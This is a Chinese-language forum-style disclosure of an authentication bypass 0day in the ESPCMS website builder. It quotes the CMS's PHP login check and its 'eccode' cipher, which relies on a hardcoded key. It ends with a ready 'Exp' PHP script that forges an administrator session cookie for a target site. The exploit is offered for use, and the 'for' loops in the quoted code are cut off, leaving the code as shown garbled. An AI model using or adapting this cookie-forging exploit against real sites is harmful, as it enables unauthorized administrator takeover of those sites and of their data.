【漏洞】ESPCMS 易思企业建站系统 0day

以下是引用片段：

function softbase($admin_purview=false) {

                header("Content-Type: text/html; charset=utf-8");
                $this->dbmysql();
                $this->commandinc();
                $this->systemfile();
                $this->cachedb();
                if ($admin_purview) {
                        $this->admin_purview();
                }

admin_purview  是检测登录状态的
再看 

function admin_purview() {
                if ($this->fun->accept('archive', 'R') == 'filemanage' && $this->fun->accept('action', 'R') == 'batupfilesave') {

                        $ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'G');
                        $esp_powerlist = $this->fun->accept('esp_powerlist', 'G');
                        $gettype = false;
                } else {
                        $ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C');
                        $esp_powerlist = $this->fun->accept('esp_powerlist', 'C');
                        $gettype = true;
                }

                $arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE')); // 其他都没什么用 这里才是重点 by Black Boy

                $this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE'));

                list($this->esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $this->esp_powerid, $this->esp_inputclassid, $this->esp_softurl) = $arr_purview;
                if ($gettype) {
                        if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl)  //检测是否有这些东西 有就跳过检测 没有就返回登录页面 下面意思简单 不解析了{Black Boy

以下是引用片段：

                                $condition = 0;
                        } else {
                                $condition = 1;
                        }
                } else {
                        if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) {
                                $condition = 0;
                        } else {
                                $condition = 1;
                        }
                }
                if ($condition == 0) {

                        if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') {
                                header('location: index.php?archive=adminuser&action=login');
                                exit();
                        }
                } else {

                        if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') {
                                header('location: index.php?archive=management&action=tab&loadfun=mangercenter');
                                exit();
                        }
                }
        }

那么 现在最重点的就是 eccode 这个加密方式了
看代码

function eccode($string, $operation='DECODE', $key='@LFK24s224%@safS3s%1f%') {
                $result = '';
                if ($operation == 'ENCODE') {
                        for ($i = 0; $i
                                $char = substr($string, $i, 1);
                                $keychar = substr($key, ($i % strlen($key)) - 1, 1);
                                $char = chr(ord($char) + ord($keychar));
                                $result.=$char;
                        }
                        $result = base64_encode($result);
                        $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
                } elseif ($operation == 'DECODE') {
                        $data = str_replace(array('-', '_'), array('+', '/'), $string);
                        $mod4 = strlen($data) % 4;
                        if ($mod4) {
                                $data .= substr('====', $mod4);
                        }
                        $string = base64_decode($data);
                        for ($i = 0; $i
                      $char = substr($string, $i, 1);
                                $keychar = substr($key, ($i % strlen($key)) - 1, 1);
                                $char = chr(ord($char) - ord($keychar));
                                $result.=$char;
                }
                }
                return $result;

很明显  解密都不用写了  反过来行了  一个一个加密过程解析出来很辛苦的
核心漏洞就是  $key='@LFK24s224%@safS3s%1f%'
不是随机生成

Exp：

function eccode($string, $operation='DECODE', $key='@LFK24s224%@safS3s%1f%') {
                $result = '';
                if ($operation == 'ENCODE') {
                        for ($i = 0; $i
                                $char = substr($string, $i, 1);
                                $keychar = substr($key, ($i % strlen($key)) - 1, 1);
                                $char = chr(ord($char) + ord($keychar));
                                $result.=$char;
                        }
                        $result = base64_encode($result);
                        $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
                } elseif ($operation == 'DECODE') {
                        $data = str_replace(array('-', '_'), array('+', '/'), $string);
                        $mod4 = strlen($data) % 4;
                        if ($mod4) {
                                $data .= substr('====', $mod4);
                        }
                        $string = base64_decode($data);
                        for ($i = 0; $i
                      $char = substr($string, $i, 1);
                                $keychar = substr($key, ($i % strlen($key)) - 1, 1);
                                $char = chr(ord($char) - ord($keychar));
                                $result.=$char;
                }
                }
                return $result;
        }
        define('admin_AGENT', $_SERVER['HTTP_USER_AGENT']);
        $name=$_POST[name];
        $s=md5(admin_AGENT);
        $ecisp_admininfo='1|admin|e00cf25ad42683b3df678c61f42c6bda|'.$s.'|1|1|'.md5("http://".$name."/adminsoft");
$a= eccode($ecisp_admininfo, 'ENCODE');
echo "ecisp_admininfo=".$a.";esp_powerlist=hqy4;"."

";
?>